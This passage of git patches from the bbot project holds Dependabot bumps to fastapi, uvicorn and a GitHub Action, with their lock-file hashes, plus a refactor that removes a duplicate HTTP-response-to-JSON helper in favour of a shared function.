"2026-09-30T17:36:08.14Z" }, + { url = "https://files.pythonhosted.org/packages/09/51/be441d264a38c390582b3b3382f629e66e10847cbcaa60f560d517237b1b/mmh3-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8d83f27143c8ae4e78781306ce002ee466219d334346609d0d7f675c8664aef4", size = 97326, upload-time = "2026-09-30T17:36:09.548Z" }, + { url = "https://files.pythonhosted.org/packages/e0/c8/240446abf409338e93d9c8c2e31b47133a08306cbd4346abb0064736f20c/mmh3-5.3.1-cp313-cp313-win32.whl", hash = "sha256:4836a024fe923605d85049f887aacca98add969c8d4932aed5d0d3884cdaa682", size = 40331, upload-time = "2026-09-30T17:36:10.898Z" }, + { url = "https://files.pythonhosted.org/packages/06/5b/b63154d3d8d3dab42a6713df71da40c2952c4e640973a70ebd897df5508c/mmh3-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:6759c43a90729a963ab5503779e07cd000c372ebd2d80196f78da2bf2d4101f1", size = 41754, upload-time = "2026-09-30T17:36:12.084Z" }, + { url = "https://files.pythonhosted.org/packages/be/67/b03f7b39d5f22cbfe72e6d73374c820829a69813a7489ba2a4a8d252391b/mmh3-5.3.1-cp313-cp313-win_arm64.whl", hash = "sha256:78219f6b1cf27872295dd4548e862f317b48ef1e1b2c9e0143069ac3a8b822d7", size = 40103, upload-time = "2026-09-30T17:36:13.425Z" }, + { url = "https://files.pythonhosted.org/packages/32/b6/815e83303e366cc831e81820d92304d5e84068a6c5cd96d65b6fadf91c7b/mmh3-5.3.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:cabd413b4d6017b5117112a1036e3f980aa9a75ab345e48b4d2eb73b1bfad99c", size = 40908, upload-time = "2026-09-30T17:36:14.591Z" }, + { url = "https://files.pythonhosted.org/packages/b7/fc/10a374e021d7a531e668535a3defaea9ad3f92fe6b16c747fe560389f5cf/mmh3-5.3.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:2ca9402d9dc406f62094c271602629a6ab8b853d8052b89e8ee991dd122ce36c", size = 42038, upload-time = "2026-09-30T17:36:15.753Z" }, + { url = "https://files.pythonhosted.org/packages/01/4a/8427a3deeb561a32ab3c71e2fc91569d1ca4569d14dcc71605fe04c29b03/mmh3-5.3.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:2cb13fc23e8c3a3a2f59327d4456b7edb9a3d3f5b6936ca3aab3ace9e3675f50", size = 38674, upload-time = "2026-09-30T17:36:16.933Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6a/ca4ddc0cd6dd07030211c39f1863a164b357adf740d6a8713bbaff3189c9/mmh3-5.3.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:92292c047b82624ef972e10e54a1cec0c7651cbe86be7d346353456e682a58f4", size = 39361, upload-time = "2026-09-30T17:36:18.125Z" }, + { url = "https://files.pythonhosted.org/packages/0e/36/e4c1ef8bc22ccbad4967e8a637fe12dbcb740616a023bf50a3e551963d9c/mmh3-5.3.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:8f4626de7b5bcf922eb66f1d02eb4f62f6dc99e4f2b1519dccfd9e89fcf8ba8f", size = 39866, upload-time = "2026-09-30T17:36:19.404Z" }, + { url = "https://files.pythonhosted.org/packages/10/2a/880d51fa8368727ad428368b062a28dd735ac913392eb7d5760a7c0c8915/mmh3-5.3.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:71fb7fd092f2b4e3af00579a715dbe3c25bd8ee295acc56c9c60003a7c8cfd98", size = 55364, upload-time = "2026-09-30T17:36:20.723Z" }, + { url = "https://files.pythonhosted.org/packages/87/33/f1902c23f6a25c198d18045d6aee389b9442c68134d2b05ec26345b6f33d/mmh3-5.3.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:1033b4943bdf401f9c402ed517fb64ece6307bc22cff2a83bc7e5b85f731eed5", size = 40023, upload-time = "2026-09-30T17:36:22.026Z" }, + { url = "https://files.pythonhosted.org/packages/24/30/c279c95e3dadbec8c389306cf08468bb68d43cdd7e26fe6107bcd00f157f/mmh3-5.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:741d1201ccc7716ec61140096dca084590da2eaf6c62b09b64813b6234ac58af", size = 39570, upload-time = "2026-09-30T17:36:23.222Z" }, + { url = "https://files.pythonhosted.org/packages/72/3b/c748fb11c98b3c3fa48249d8d36e7dbeb57669b3ce767f51c94d43a6cde9/mmh3-5.3.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fb6a472fb487e37556344fd2a4894eb5eb1896cb2eb03536e8f56dce2c5423f1", size = 97115, upload-time = "2026-09-30T17:36:24.487Z" }, + { url = "https://files.pythonhosted.org/packages/5d/bc/65eb32da2c7a7e03bf91f1c3ca6e6e2c8004c64515828a3fd5b6ce51669d/mmh3-5.3.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fd3bbb5dc3c3a045605c1a618bfccb2de6d65ae89b99ff9a7f54556cf81175b7", size = 103119, upload-time = "2026-09-30T17:36:25.807Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ca/eb318655aa79059ab7af2b658adba17eda27d0be0f49703e7b0e6086b72d/mmh3-5.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:66297ad16d75ffa14335ca23a40c23deed09fa0d832341fda29ad60a8a2a91ab", size = 106064, upload-time = "2026-09-30T17:36:27.162Z" }, + { url = "https://files.pythonhosted.org/packages/59/ee/491e1fec15a83fbf152e482e7f9c91c738bced77457f0f64e6f5792206e8/mmh3-5.3.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c7418304490de50c985a95416b62f1acac616d9bc9b259622072b487093f926d", size = 112935, upload-time = "2026-09-30T17:36:28.555Z" }, + { url = "https://files.pythonhosted.org/packages/5d/44/24f2bb97fc731ae4bf171588a9c2732a76309f4fb4366fa62ff3b1943262/mmh3-5.3.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:aeb4ac9626c89c9d093930abecd3cea40e6eb7f21fc60870b8c3495748158624", size = 120504, upload-time = "2026-09-30T17:36:29.872Z" }, + { url = "https://files.pythonhosted.org/packages/a8/43/e64fb48dbb9bfd5295d87b4b9a0b95a41139b6b623d7535ef864af98d75a/mmh3-5.3.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5e7eee7a8174ac340530bfd3500086972452a86adc8eec7d879501bcbef7b2b7", size = 103219, upload-time = "2026-09-30T17:36:31.317Z" }, + { url = "https://files.pythonhosted.org/packages/c3/08/261419201b69dede3368b1e4ff92183f603e32c565e1124d59de73c14043/mmh3-5.3.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ee868a903f387a192bb6fe2205d709156ab7dc5b2dda6fe75d2cfbba9b6a0e26", size = 99012, upload-time = "2026-09-30T17:36:32.693Z" }, + { url = "https://files.pythonhosted.org/packages/34/c6/6ef12522aa92d722c8f756719c870667a3d3aacb1563008e4f7331ee3de5/mmh3-5.3.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a212a14648107bb83c55ece4a85bfe0671fbba81059e20d48e25456eeea1fcb0", size = 98475, upload-time = "2026-09-30T17:36:34.14Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/7a89df34615cefcf705d66f54ba26f00425fbae5ed4f61f1ba86b2372648/mmh3-5.3.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:de8fb9ee364d7ad62cf6e6807b77937e1ec8e69396a46aa36b322aa772e774ed", size = 106299, upload-time = "2026-09-30T17:36:35.497Z" }, + { url = "https://files.pythonhosted.org/packages/a0/e4/4cd526b1d7c424485d770b7ffc2976452087f68e8639421e27da93dd5baa/mmh3-5.3.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d25d161d01b428cd4a12a4489e62595989f826ca780197844f806cc984dacde5", size = 101112, upload-time = "2026-09-30T17:36:36.989Z" }, + { url = "https://files.pythonhosted.org/packages/23/f0/a245308671c6ce430e1347b6ea100def44599d808f1d841dd24f399ec5e0/mmh3-5.3.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:1769d9a4f4a54a383ff65ac79bd85b76f17b2f1f9a71bc57b46df9a556970ec8", size = 109779, upload-time = "2026-09-30T17:36:38.385Z" }, + { url = "https://files.pythonhosted.org/packages/48/24/869fbd94037a046ae7a286eacaf4108a48ce497dd087b0c5b4f980774773/mmh3-5.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5e06d41da4c6b2fad157db2d524e1134f0077d7bfaa645c114b7968433ea1b5b", size = 97327, upload-time = "2026-09-30T17:36:39.83Z" }, + { url = "https://files.pythonhosted.org/packages/c9/01/8c629d29655dd670819b236fafc484ec4f9b7711333fbd35c983edfa3941/mmh3-5.3.1-cp314-cp314-win32.whl", hash = "sha256:f86a308bd396fa69013c360abf98111e9d0fa534a7d75b9613ca4145fa63bff4", size = 40873, upload-time = "2026-09-30T17:36:41.194Z" }, + { url = "https://files.pythonhosted.org/packages/11/44/cf8e89595f64a2666db42b8bfa02e98c53244b7741cf6cd6b742901c0c73/mmh3-5.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:156152ea77713eecffed175e4e384aa47bf24fedcf1a9f30773dd2737a8b8c76", size = 42299, upload-time = "2026-09-30T17:36:42.623Z" }, + { url = "https://files.pythonhosted.org/packages/fb/68/3b001dacbf9f6a5e3a4837fa870efff34504ca21b9aae0df78bf3ebe7957/mmh3-5.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:41082b86c3f24f41e1e8af97c80724ff7c23ebc33dff7e37d7e3b1caa4eaf183", size = 40652, upload-time = "2026-09-30T17:36:44.251Z" }, + { url = "https://files.pythonhosted.org/packages/1c/8d/b9778e43fd4332124ef07c194a84cae8bf9e424e42400b0919fb4974c62d/mmh3-5.3.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:7cd757dbf0f177555c1544c37aec5b1230cf5f4d1b79e900357684437608c1d4", size = 57052, upload-time = "2026-09-30T17:36:45.884Z" }, + { url = "https://files.pythonhosted.org/packages/66/b8/5cdbf15f818dae35ed95e09f3a182d24f35acdda441c1140bfcbe61b4ac3/mmh3-5.3.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:be5dab268537f7db00cca56a07b1301060351fd8ab41d6b3fc5cddd3bd207448", size = 40826, upload-time = "2026-09-30T17:36:47.496Z" }, + { url = "https://files.pythonhosted.org/packages/65/37/93b48f89a8173d8a0aa48567e5fff51569c9620854766bfa782214351d3a/mmh3-5.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:588c41c36378be5b62da340279300ad6e93d819edaeca0a89e38f1fc8a5b683d", size = 40344, upload-time = "2026-09-30T17:36:48.796Z" }, + { url = "https://files.pythonhosted.org/packages/c3/13/ee07da9f987e61a5cf95b3bfe49f59d9b95ee0e086243527248aa9d54912/mmh3-5.3.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4274ed59160e51c970553b6e3d28fdcf8ddb833c924cd305619ab06dda265c19", size = 109471, upload-time = "2026-09-30T17:36:50.42Z" }, + { url = "https://files.pythonhosted.org/packages/43/fd/58ad751dc961f38af8ea16594b8cfb2afeaaaa9fa2fe814bfeec9689d33c/mmh3-5.3.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c5f055fec5901cfbd6951d2ff52352bfdb08e0f9acafae1b235aa835f4d80f9", size = 117238, upload-time = "2026-09-30T17:36:51.836Z" }, + { url = "https://files.pythonhosted.org/packages/76/c3/e43c6abc3ea4e91da55391a2b59c95834f61972e1b6a3e003a2f1a2b08fd/mmh3-5.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7670edd6751f21d7bd038b45f4eb671fc8d6441b0088ee01d25f5a23424a87c2", size = 120236, upload-time = "2026-09-30T17:36:53.269Z" }, + { url = "https://files.pythonhosted.org/packages/c8/f2/397bc3d1e934443c0b621392fa56fdeaee1974e167e1411b887fbc223316/mmh3-5.3.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b7a029b0d8a273dd746d7cabc13134fb6f08d866ed83d7619a7aa4fad9ae9946", size = 125811, upload-time = "2026-09-30T17:36:54.696Z" }, + { url = "https://files.pythonhosted.org/packages/1d/43/d7e4f9ed76d20114ad97d6d7b11d2c99a148208279cfeeab34408b68e936/mmh3-5.3.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b890e9fe7330f104dbda1b6a8dcd0a28e948db08eb9faf3001bc55d164402ff8", size = 135028, upload-time = "2026-09-30T17:36:56.42Z" }, + { url = "https://files.pythonhosted.org/packages/4a/3b/6184b0de23d841e1cb1f36f7f93c8157065c70ec4072b18d5d84d6cccb90/mmh3-5.3.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:23ab950642fd0c29a7187a9073e70a203135282b91fd257153de8a8efc87fdbe", size = 113452, upload-time = "2026-09-30T17:36:57.947Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/3ff78b891c5b1251ddeab97b4c6e97fdda7a16e160892dace74578b26a55/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:325e990de3fb60b0ee460be96096ec7cb0775d16f4a2ad20b613111d3cc608f9", size = 109896, upload-time = "2026-09-30T17:36:59.66Z" }, + { url = "https://files.pythonhosted.org/packages/5f/c0/664278780e7ee5758717674f55a6d7447a3e0b862fe57678422431155729/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:1936c40c171979cf230ccf9c9acad51dbd2b01de233a4829e307e4c71331f765", size = 110985, upload-time = "2026-09-30T17:37:00.924Z" }, + { url = "https://files.pythonhosted.org/packages/f3/5e/127ce3d2815ab311ef03fed126bd46533f79cef4639636b78b2d6682c99b/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:196a15b6dbe96ed77e03887ea338e0df0278576143a9e66404074b6d9b10eb2c", size = 116708, upload-time = "2026-09-30T17:37:02.36Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ac/962e120a6642f6eca9686b101b07e889466b13caef34524720d511448ac6/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:21e68810f51f6e9b96da10073b8efdafefbd9f71ef644a9541372b8de0c02137", size = 112004, upload-time = "2026-09-30T17:37:03.737Z" }, + { url = "https://files.pythonhosted.org/packages/5c/54/82829ed9ab1272416bc87b923d51cd364de1fa05e83a81278030599efd97/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:1c61932e7c9f9e6fad2b6cfa325d600792546028b2efa05a66e0c0a8ca5be1b6", size = 122863, upload-time = "2026-09-30T17:37:05.112Z" }, + { url = "https://files.pythonhosted.org/packages/31/93/55889a172c4b2aeab7220955a9765a5cf8ef81b183627c0a85a952689d5e/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:de2074dbcc822f26f97aa83c6fba6ff54998e68b834f45a2a35775cb27b48cea", size = 110027, upload-time = "2026-09-30T17:37:06.409Z" }, + { url = "https://files.pythonhosted.org/packages/35/83/558d9c034a568f0edeee91b4f770d99eeee41300155e2be0eefef2466fcb/mmh3-5.3.1-cp314-cp314t-win32.whl", hash = "sha256:0fe225c870d34d08a0cebdddcb1c1062ecfb9655f1b844a76817ea17bcbc8316", size = 41326, upload-time = "2026-09-30T17:37:07.607Z" }, + { url = "https://files.pythonhosted.org/packages/fb/ed/e76d25bcc95b3b8ef8df663c99542056c9cd393bd70a6723e5d4f2e13b1d/mmh3-5.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:52fbda3c48e74f7c533964d91610e512e1971d1e88a264e1024f710b3a990af8", size = 43270, upload-time = "2026-09-30T17:37:08.827Z" }, + { url = "https://files.pythonhosted.org/packages/73/29/efd48025b974c588a5da623abc5916d3caba073fa7f658826c42dd673435/mmh3-5.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:d6d03f2e97225476a4ebacb7b26bdf58847f2879ed6f51c9aec296dd17a40537", size = 41270, upload-time = "2026-09-30T17:37:10.545Z" }, ] [[package]] From 1471146369c6d7dcb345521c2984d28af443c20e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 5 Oct 2026 12:01:04 -0400 Subject: [PATCH 124/256] Bump fastapi from 0.141.1 to 0.142.2 (#3494) Bumps [fastapi](https://github.com/fastapi/fastapi) from 0.141.1 to 0.142.2. - [Release notes](https://github.com/fastapi/fastapi/releases) - [Commits](https://github.com/fastapi/fastapi/compare/0.141.1...0.142.2) --- updated-dependencies: - dependency-name: fastapi dependency-version: 0.142.2 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 21 +++++++++++++++++---- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 8f11df79a9..f5af11c84c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -77,7 +77,7 @@ dev = [ "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", "uvicorn>=0.32,<0.54", - "fastapi>=0.115.5,<0.142.0", + "fastapi>=0.115.5,<0.143.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "pytest-xdist>=3.6,<4", diff --git a/uv.lock b/uv.lock index fb76e739e8..b5894ad793 100644 --- a/uv.lock +++ b/uv.lock @@ -302,7 +302,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ { name = "baddns", specifier = "~=2.4.1" }, - { name = "fastapi", specifier = ">=0.115.5,<0.142.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.143.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, @@ -1162,18 +1162,19 @@ wheels = [ [[package]] name = "fastapi" -version = "0.141.1" +version = "0.142.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, + { name = "opentelemetry-api" }, { name = "pydantic" }, { name = "starlette" }, { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8a/02/91e3416a8fdd715abb903a952a6bec7cdd8d14eed55d415fc8595524c319/fastapi-0.141.1.tar.gz", hash = "sha256:e8822fc40db1e1858054d7a949a888695bc9bdce70139178e33bd2871a453ca1", size = 425799, upload-time = "2026-07-29T17:18:05.568Z" } +sdist = { url = "https://files.pythonhosted.org/packages/56/4f/f7c30a73127e0a8bbffe788369b8359e530b01ae06e2757936fa35bc5e6d/fastapi-0.142.2.tar.gz", hash = "sha256:06366626f2e70576367714d9ab2fe8472e6c8456dba69b399f9f797ab5e92570", size = 466721, upload-time = "2026-09-30T09:51:11.277Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/cb/03/10388a42375ee7e4ac9b94eb2c5c569c8b5795e377e701c9ac3ad63de890/fastapi-0.141.1-py3-none-any.whl", hash = "sha256:bfb91aa2d334c61cb35ba9a116fc123b3d3df31640b801cf57a7a78ec3f603b3", size = 131954, upload-time = "2026-07-29T17:18:04.364Z" }, + { url = "https://files.pythonhosted.org/packages/a0/b6/78aaf9141fb46742928c113f3cf6ef2259d538cb02b604b7656c1dc9883c/fastapi-0.142.2-py3-none-any.whl", hash = "sha256:bd5f4d81f1e93a88bcd77caf4dfe3c2dbffc3805407a0007e9a114c18b3a670b", size = 144409, upload-time = "2026-09-30T09:51:09.8Z" }, ] [[package]] @@ -1895,6 +1896,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" }, ] +[[package]] +name = "opentelemetry-api" +version = "1.45.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/dc/e12c1fe1ed8a7b7149777127b1a0e12ce5bd5a81d97408bedc2128c260f5/opentelemetry_api-1.45.0.tar.gz", hash = "sha256:711ede81773c8025c2c03dac0450bc89f3d30aea6eabcc815c570d4e35a963f7", size = 72115, upload-time = "2026-09-25T12:32:28.399Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/44/b9/040d1a1c7836922828e6480cd2366bb8fe0ebf75b413d2bb51a9b0e7f78f/opentelemetry_api-1.45.0-py3-none-any.whl", hash = "sha256:80e068aba7cd56c8b58512d6a36f8d25cb1dfaa0c0a4cc1c938ccf9f362d9cb3", size = 60020, upload-time = "2026-09-25T12:32:03.192Z" }, +] + [[package]] name = "orderly-set" version = "5.5.0" From abaa52ca813109ed4e5c30b23f1e22c8e636401a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 5 Oct 2026 13:46:33 -0400 Subject: [PATCH 125/256] Bump uvicorn from 0.53.0 to 0.54.0 (#3489) Bumps [uvicorn](https://github.com/Kludex/uvicorn) from 0.53.0 to 0.54.0. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.53.0...0.54.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.54.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f5af11c84c..0d5cee773f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,7 +76,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.54", + "uvicorn>=0.32,<0.55", "fastapi>=0.115.5,<0.143.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", diff --git a/uv.lock b/uv.lock index b5894ad793..705eb4f5be 100644 --- a/uv.lock +++ b/uv.lock @@ -317,7 +317,7 @@ dev = [ { name = "pytest-xdist", specifier = ">=3.6,<4" }, { name = "ruff", specifier = "==0.16.9" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.54" }, + { name = "uvicorn", specifier = ">=0.32,<0.55" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -3236,16 +3236,16 @@ wheels = [ [[package]] name = "uvicorn" -version = "0.53.0" +version = "0.54.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "click" }, { name = "h11" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/5d/ad/04bbb797c84fc1f26cb171f7394716f4865ffb8d8c5e1eef42565c2dfa6b/uvicorn-0.53.0.tar.gz", hash = "sha256:a9356f0cb89b3b8621529c5d5eebd69bfe154f4c3f68b4cf2de47e45fa855c2e", size = 110881, upload-time = "2026-09-14T07:44:23.815Z" } +sdist = { url = "https://files.pythonhosted.org/packages/da/34/30e9280707135d2cfc589dfff3cb796bd07a3aeb1a3e415ba09dd89d7bb4/uvicorn-0.54.0.tar.gz", hash = "sha256:a2e33cbfaa0306f8e6b0c13e0cb89d7d7a2da3e62b90c66e18c33d9807b28620", size = 112283, upload-time = "2026-09-25T06:52:37.601Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/76/18/0eea75741ee812e9f598b687619ce2454f6c3a1c5cd21ea990ec6bd26f45/uvicorn-0.53.0-py3-none-any.whl", hash = "sha256:e8dca71ec86dce5f04e333f0d56cdedf942446e6643b9cea1af0d6d3a02cb03e", size = 87081, upload-time = "2026-09-14T07:44:22.179Z" }, + { url = "https://files.pythonhosted.org/packages/38/0c/b54a4fdd7f90a3af8b02ebc9ce6712c2c208b7926a2f7bad95c33ebbe943/uvicorn-0.54.0-py3-none-any.whl", hash = "sha256:505bdb0f318731d45f1f712071fc781a8981f6847a31c902c9f5e652d4f67faf", size = 87427, upload-time = "2026-09-25T06:52:35.829Z" }, ] [[package]] From bc2f9fd25f7ba34802d0456680164cbe34f66a11 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 5 Oct 2026 13:47:14 -0400 Subject: [PATCH 126/256] Bump re-actors/alls-green (#3495) Bumps the github-actions group with 1 update: [re-actors/alls-green](https://github.com/re-actors/alls-green). Updates `re-actors/alls-green` from 1.2.2 to 1.3.0 - [Release notes](https://github.com/re-actors/alls-green/releases) - [Commits](https://github.com/re-actors/alls-green/compare/05ac9388f0aebcb5727afa17fcccfecd6f8ec5fe...b5b5b37504aa4183270bd3d855c52a67f212be35) --- updated-dependencies: - dependency-name: re-actors/alls-green dependency-version: 1.3.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: github-actions ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 94353ca2e7..d99ad750ea 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -59,7 +59,7 @@ jobs: runs-on: ubuntu-24.04 steps: - name: Fail unless every dependency succeeded - uses: re-actors/alls-green@05ac9388f0aebcb5727afa17fcccfecd6f8ec5fe # v1.2.2 + uses: re-actors/alls-green@b5b5b37504aa4183270bd3d855c52a67f212be35 # v1.3.0 with: allowed-skips: test jobs: ${{ toJSON(needs) }} From 652839f83c51fb6b45d0570882c77f375c22b080 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 5 Oct 2026 14:05:34 -0400 Subject: [PATCH 127/256] Delete duplicate response_to_json, unify on response_to_event_dict (#3473) --- bbot/core/helpers/web/web.py | 61 ------------------------------- bbot/modules/wayback.py | 6 ++- bbot/test/test_step_1/test_web.py | 13 +++---- 3 files changed, 9 insertions(+), 71 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index f82917ae49..53a4e864c5 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -738,64 +738,3 @@ async def _probe_wildcard_host(self, scheme, host, port): return False log.verbose(f"is_http_wildcard_host: {scheme}://{host}:{port} is an HTTP wildcard responder") return compare - - def response_to_json(self, response): - """ - Convert web response to JSON object, to a JSON-serializable dict. - """ - - if response is None: - return - - import mmh3 - from datetime import datetime - from hashlib import md5, sha256 - from bbot.core.helpers.misc import tagify, urlparse, split_host_port, smart_decode - - request = response.request - url = str(request.url) - parsed_url = urlparse(url) - netloc = parsed_url.netloc - scheme = parsed_url.scheme.lower() - host, port = split_host_port(f"{scheme}://{netloc}") - - raw_headers = "\r\n".join([f"{k}: {v}" for k, v in response.headers.items()]) - raw_headers_encoded = raw_headers.encode() - - headers = {} - for k, v in response.headers.items(): - k = tagify(k, delimiter="_") - headers[k] = v - - j = { - "timestamp": datetime.now().isoformat(), - "hash": { - "body_md5": md5(response.content).hexdigest(), - "body_mmh3": mmh3.hash(response.content), - "body_sha256": sha256(response.content).hexdigest(), - # "body_simhash": "TODO", - "header_md5": md5(raw_headers_encoded).hexdigest(), - "header_mmh3": mmh3.hash(raw_headers_encoded), - "header_sha256": sha256(raw_headers_encoded).hexdigest(), - # "header_simhash": "TODO", - }, - "header": headers, - "body": smart_decode(response.content), - "content_type": headers.get("content_type", "").split(";")[0].strip(), - "url": url, - "host": str(host), - "port": port, - "scheme": scheme, - "method": response.request.method, - "path": parsed_url.path, - "raw_header": raw_headers, - "status_code": response.status_code, - } - - # blasthttp keeps a response whose body didn't decode and says why, rather - # than dropping it. Record that so nothing treats the bytes as content. - decode_error = response.decode_error - if decode_error: - j["decode_error"] = decode_error - - return j diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index cd7863705a..58f965106d 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -8,6 +8,7 @@ from bbot.core.helpers.misc import get_file_extension from bbot.core.helpers.validators import clean_url +from bbot.core.helpers.web.response_event import response_to_event_dict from bbot.modules.templates.subdomain_enum import subdomain_enum from bbot.core.config.models import BaseModuleConfig, Field @@ -730,7 +731,7 @@ async def _process_archive_response(self, r, raw_url, parent_event): return False self._archive_bloom.add(response_url) - j = self.helpers.response_to_json(r) + j = response_to_event_dict(r, raw_url) if not j: self.verbose(f"Failed to parse archive response for {raw_url}") return False @@ -764,11 +765,12 @@ async def _process_archive_response(self, r, raw_url, parent_event): 